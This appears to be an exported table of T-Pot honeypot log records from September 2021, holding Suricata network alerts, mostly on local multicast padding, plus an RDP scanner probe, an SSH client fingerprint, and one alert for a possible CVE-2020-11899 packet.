30070	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.468207+03	2021-09-20 14:45:02.532142+03	{"_id": "GQb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.468207Z", "@timestamp": "2021-09-20T11:32:00.468Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30071	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:31:57.847463+03	2021-09-20 14:45:02.533145+03	{"_id": "_gb6AnwBvYTbRNuEHzkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:57.032520+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2004838945488648, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55851, "dest_port": 3389, "timestamp": "2021-09-20T11:31:57.847463Z", "@timestamp": "2021-09-20T11:31:57.847Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30072	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:31:58.733331+03	2021-09-20 14:45:02.534143+03	{"_id": "AAb6AnwBvYTbRNuEIDoe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 42464, "dest_port": 22, "timestamp": "2021-09-20T11:31:58.733331", "@timestamp": "2021-09-20T11:31:58.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30073	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.427003+03	2021-09-20 14:45:02.536142+03	{"_id": "IQb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.427003Z", "@timestamp": "2021-09-20T11:32:00.427Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30074	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:00.430646+03	2021-09-20 14:45:02.537142+03	{"_id": "Gwb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 24, "bytes_toclient": 0, "bytes_toserver": 2360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:00.430646Z", "@timestamp": "2021-09-20T11:32:00.430Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30075	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.431284+03	2021-09-20 14:45:02.538142+03	{"_id": "HAb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.431284Z", "@timestamp": "2021-09-20T11:32:00.431Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30076	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.460597+03	2021-09-20 14:45:02.539142+03	{"_id": "JQb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.460597Z", "@timestamp": "2021-09-20T11:32:00.460Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30077	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.437131+03	2021-09-20 14:45:02.540142+03	{"_id": "Hgb6AnwBvYTbRNuEJjrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.437131Z", "@timestamp": "2021-09-20T11:32:00.437Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30078	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.461603+03	2021-09-20 14:45:02.541143+03	{"_id": "GAb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.461603Z", "@timestamp": "2021-09-20T11:32:00.461Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30079	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:00.462715+03	2021-09-20 14:45:02.542142+03	{"_id": "Egb6AnwBvYTbRNuEJjrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.462715Z", "@timestamp": "2021-09-20T11:32:00.462Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30080	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:32:00.945744+03	2021-09-20 14:45:02.543142+03	{"_id": "KAb6AnwBvYTbRNuEKjq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:00.945744Z", "@timestamp": "2021-09-20T11:32:00.945Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30082	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.10702+03	2021-09-20 14:45:02.547142+03	{"_id": "Mgb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:08.107020+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 375470088036876, "payload": "kccAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 65307, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T11:32:08.107020Z", "@timestamp": "2021-09-20T11:32:08.107Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
30083	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.095097+03	2021-09-20 14:45:02.548143+03	{"_id": "Pgb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.095097Z", "@timestamp": "2021-09-20T11:32:08.095Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30084	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.089328+03	2021-09-20 14:45:02.549142+03	{"_id": "NAb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 36, "bytes_toclient": 0, "bytes_toserver": 3480}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.089328Z", "@timestamp": "2021-09-20T11:32:08.089Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30085	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.136463+03	2021-09-20 14:45:02.550141+03	{"_id": "Ngb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 42, "bytes_toclient": 0, "bytes_toserver": 4020}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.136463Z", "@timestamp": "2021-09-20T11:32:08.136Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30086	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.419763+03	2021-09-20 14:45:02.551142+03	{"_id": "QQb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.419763Z", "@timestamp": "2021-09-20T11:32:08.419Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30087	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.134827+03	2021-09-20 14:45:02.552141+03	{"_id": "Owb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 40, "bytes_toclient": 0, "bytes_toserver": 3840}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.134827Z", "@timestamp": "2021-09-20T11:32:08.134Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30090	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:09.405966+03	2021-09-20 14:45:02.556142+03	{"_id": "RQb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 47, "bytes_toclient": 0, "bytes_toserver": 4550}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:09.405966Z", "@timestamp": "2021-09-20T11:32:09.405Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
30091	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:09.404487+03	2021-09-20 14:45:02.557142+03	{"_id": "SAb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 46, "bytes_toclient": 0, "bytes_toserver": 4440}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:09.404487Z", "@timestamp": "2021-09-20T11:32:09.404Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30092	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:09.405152+03	2021-09-20 14:45:02.558141+03	{"_id": "Sgb6AnwBvYTbRNuESjoF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:09.405152Z", "@timestamp": "2021-09-20T11:32:09.405Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30093	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:09.948129+03	2021-09-20 14:45:02.559142+03	{"_id": "Swb6AnwBvYTbRNuETTrt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 48, "bytes_toclient": 0, "bytes_toserver": 4660}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:09.948129Z", "@timestamp": "2021-09-20T11:32:09.948Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
30094	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:11.405179+03	2021-09-20 14:45:02.560141+03	{"_id": "UAb6AnwBvYTbRNuEUTrW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:11.405179Z", "@timestamp": "2021-09-20T11:32:11.405Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30095	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:32:08.094218+03	2021-09-20 14:45:02.561142+03	{"_id": "PQb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 37, "bytes_toclient": 0, "bytes_toserver": 3570}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:32:08.094218Z", "@timestamp": "2021-09-20T11:32:08.094Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
